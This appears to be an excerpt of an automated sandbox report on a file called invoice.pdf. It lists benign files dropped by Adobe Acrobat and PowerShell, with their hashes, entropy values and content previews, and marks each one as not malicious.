Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.271856406417691
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJfshHHrPeUkwRe9:YvXKXRd/kZc0vlrVGUUUkee9
MD5:	FE0D4607F802DBE5F794DC71B5E9B98C
SHA1:	A3C78B19E6751DEA0E739C44B62FF7CF767071FA
SHA-256:	CC1F529E7A2FFEF77B8455EB9C5514C5BA7A05680FD709058884EDBCED6305B1
SHA-512:	95DE173A007B5BDA62FDA5722F286FAD455CD3DC168B70835100EE7EBD44B67D26B26C75188EF1E3AB402A221E884542DF432C78FC39DD575B395E600C4DAD5D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.2808243478951695
Encrypted:	false
SSDEEP:	6:YEQXJ2HXRd/dVoZcg1vRcR0YEreoAvJTqgFCrPeUkwRe9:YvXKXRd/kZc0vlrVGTq16Ukee9
MD5:	3068286A04C949A8AB47216EDC915BA7
SHA1:	CC9B06CF1342CD75FA124C0EFAC91BF8DD16EE24
SHA-256:	A583E5B786FE2E746ED5AB02DA32B652AAD75C527B1555D7D87BE6D1809D5160
SHA-512:	C96F5D2FD1643E104BC386B02333FF9929A47DD23C58C24E2A098F39C4AB2E77E6EF86F3E8AA4826CE9E86A0DF7D4FBD3B90D2CD866A24A9AEC06B5E5D6E401C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"9c925361-04ea-433b-88d0-e790ce85e6ba","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736758720110,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.137907492326455
Encrypted:	false
SSDEEP:	48:Y81BP6olDbQZcElQmVFoCBti/xwHAPP7nK2B2NS9eWC:D5QZamYItu1K0S
MD5:	40CCBBCD90CECF61840864ED46DB37A9
SHA1:	3DA628C88768F6392FB72E53068AE03177795151
SHA-256:	766DB81FA7E30C28C781DA07DFA2BB231F1DBABAD355CEE4370A8858D520D129
SHA-512:	F3BD09DA1AC6F6C270E03C59DAFD4F4C16E9E0529C57AD9A088580D47F769BD79CF07262CAA3C26E7145BB87BAD98E13C7EC2533333ADE1ADD0DD298B4E740D7
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"302787df061696e48069e949d092eb5e","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736579409000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"78133ac0eae69ed4c93127e4a7054991","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736579409000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"7060cfe47f21c906282168cc85e529c6","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736579409000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"478f1430d16123f2f071c859ca69801a","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736579409000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"30dc705919fd8f9ec5e41a307d2d4291","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736579409000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ab8f3e486f6d04be35012a487d8b96de","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1871583464053066
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUU2LSvR9H9vxFGiDIAEkGVvpSj:lNVmswUUUUUUUUQ+FGSItO
MD5:	2D39C01D1EB824A209A2899186746317
SHA1:	E6E6E56917E446EA6018FBBEF731807DB4A6BE45
SHA-256:	7BA4C29E9C9B2E7B3CA188D07BF087B4AB009C8912540D87FA783B7D6206F569
SHA-512:	EB723E23FE37C2FEF4BB136894533D1B28D499C4293263E9442E2508323915C8A36587375D1B6B937A4B46BFCDAD682E9375FE6CE4E9F94CF3A4F4EFF711A55C
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.6081047602471856
Encrypted:	false
SSDEEP:	48:7MKKUUUUUUUUUU2fvR9H9vxFGiDIAEkGVv9qFl2GL7msE:72UUUUUUUUUUuFGSItbKVmsE
MD5:	0F7666E01C3DF02B0139CFCD63EC728E
SHA1:	B78E4B0904CF13FD207D754393FFFE78F1DA360F
SHA-256:	DBBFF3CDE29C4AA0D4E9B4A296CDD404837F45330AD71DED0D852A29A652F5B4
SHA-512:	A8F187844ADD53A8226DF0F8698DED0745AC9B24B6D2D28958932DBD1B543384D4B1F5631F97056275D4ABF48C5CB1ABD8364B55ABD915453A2D1B4167C3521A
Malicious:	false
Preview:	.... .c........\......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgOAmWGIrp64ieOoNNYLuIluFjYyu:6a6TZ44ADEOAm3kNWLuauFjK
MD5:	29B3B3922DC4C22B4356B3B58AF82015
SHA1:	DE6994BAFCF822D70ADB73323128155687C1B8C0
SHA-256:	5912133B7C8D1E4543986D658CB195DFF82D993121B857944DD1026794E396A1
SHA-512:	C07BD065156F5673590B69E6F485277995FC85ED2A2AD8D5BD45D7AAFD8DC2AD33543A2D84423A9B7E0F04CA88224CE569DF5316A720885BFCD74D7DF896F727
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSIf02b1.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4689697470285186
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88ClEll1H:Qw946cPbiOxDlbYnuRKdBv
MD5:	57FF479A9D172A48A364E67BE4021541
SHA1:	06D5EA7536A6E41D2C5E10D88FBBFB9E46B7DD0F
SHA-256:	DC608488F3FC9F51F735C467FD1DD8A3C86C9D6872C4D0840C03674C60011942
SHA-512:	643C7AE7725929C7A2F140B02EF947614CA4C888D6C68EFD927472FA2C5657DDCB037C03EFBD1D0DDF51DC5A808E02FC964343F0B4288123199681DDE80D9581
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.2.:.1.0.:.1.1. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cfetuo03.4po.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzrr4533.rbp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 02-10-06-035.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3361142065939635
Encrypted:	false
SSDEEP:	384:uRNYN9kAmCtl8yAXCMbGX6sUUjsYXVKVaVH9W2SoAwS+ws5n2od9exMHkH2rGEvV:XzXEQ9
MD5:	3AA4269CE1D6FDA4E81AD27F62438685
SHA1:	C3D07B089B51C81C08EE5018D4F005843B335C67
SHA-256:	8FB985716CD60D00498A30914E0E71FBA46BF67B62979CDEFD63D14F6339268F
SHA-512:	805D139702D87BE40954E370501597360AA7B44709C9AAE8B3E3BF4C6A949E45D460ED17B891F1CF05A5575A0B0931BCA541F78B70F0606091B9CA9A3713698C
Malicious:	false
Preview:	SessionID=0862ced7-4451-4004-a92f-bf9222c8febe.1736579406068 Timestamp=2025-01-11T02:10:06:068-0500 ThreadID=1196 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=0862ced7-4451-4004-a92f-bf9222c8febe.1736579406068 Timestamp=2025-01-11T02:10:06:069-0500 ThreadID=1196 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=0862ced7-4451-4004-a92f-bf9222c8febe.1736579406068 Timestamp=2025-01-11T02:10:06:069-0500 ThreadID=1196 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=0862ced7-4451-4004-a92f-bf9222c8febe.1736579406068 Timestamp=2025-01-11T02:10:06:069-0500 ThreadID=1196 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=0862ced7-4451-4004-a92f-bf9222c8febe.1736579406068 Timestamp=2025-01-11T02:10:06:069-0500 ThreadID=1196 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.384109664556307
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2r6:u
MD5:	4E7A5D10C8871A8E9129B8A320BAAB60
SHA1:	306B7C11BB0CA40905291AAA62FB318CC6318942
SHA-256:	46D2BFA120A1D2A20480703E4F5F5A0E89C553E0A7F4CA2DF4C7DDB1579C59B3
SHA-512:	36A566A2C92437306B60A261E1BC9CEB2C4E0115FBA70983FA7BEF55D755B98ED9D1651AA29C6CF992F87E33482976194EDE38581D8890AE80C08BE60613616C
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0282fec0-6a0a-41cb-b5ff-4d4af3e89963.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4624d41f-e682-4c94-a479-52ab650b9c33.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\48963e28-d692-4807-aec9-8cfd346a6a44.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d04acd11-78a0-43d0-adbe-9bc9b788142e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

